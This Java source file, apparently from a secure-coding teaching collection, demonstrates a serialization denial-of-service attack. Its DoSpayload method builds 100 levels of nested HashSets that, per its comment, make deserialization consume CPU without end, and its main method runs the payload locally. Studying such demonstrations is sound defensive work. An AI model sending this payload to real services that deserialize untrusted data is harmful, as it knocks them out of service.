// The MIT License (MIT)

//

// Copyright (c) 2019 Robert C. Seacord

//

// Permission is hereby granted, free of charge, to any person obtaining a copy

// of this software and associated documentation files (the "Software"), to deal

// in the Software without restriction, including without limitation the rights

// to use, copy, modify, merge, publish, distribute, sublicense, and/or sell

// copies of the Software, and to permit persons to whom the Software is

// furnished to do so, subject to the following conditions:

//

// The above copyright notice and this permission notice shall be included in all

// copies or substantial portions of the Software.

//

// THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR

// IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,

// FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE

// AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER

// LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,

// OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE

// SOFTWARE.

package ser06j;

import java.io.IOException;

import java.util.HashSet;

import java.util.Set;

import one.microstream.persistence.binary.types.Binary;

import ser09j.Bicycle;

import serial.Serial;

// java serialization DoS

public class SerialDOS {

// Deserializing the HashSet will recurse indefinitely, consuming CPU

static Binary DoSpayload() throws IOException {

final Set<Object> root = new HashSet<>();

Set<Object> s1 = root;

Set<Object> s2 = new HashSet<>();

for (int i = 0; i < 100; i++) {

final Set<Object> t1 = new HashSet<>();

final Set<Object> t2 = new HashSet<>();

t1.add("foo"); // make it not equal to t2

s1.add(t1);

s1.add(t2);

s2.add(t1);

s2.add(t2);

s1 = t1;

s2 = t2;

}

return Serial.serialize(root);

}

public static void main(final String[] args) throws InterruptedException {

// start a thread to deserialize the DoS payload

new Thread(() -> {

try {

final Bicycle myBike = (Bicycle) Serial.deserialize(DoSpayload());

System.out.println(myBike.getName() + " has been deserialized.");

} catch (ClassNotFoundException | IOException e) {

e.printStackTrace();

}

}).start();

// give the thread 10 seconds to complete

Thread.sleep(10000);

System.out.println("Exiting.");

System.exit(0);

}

}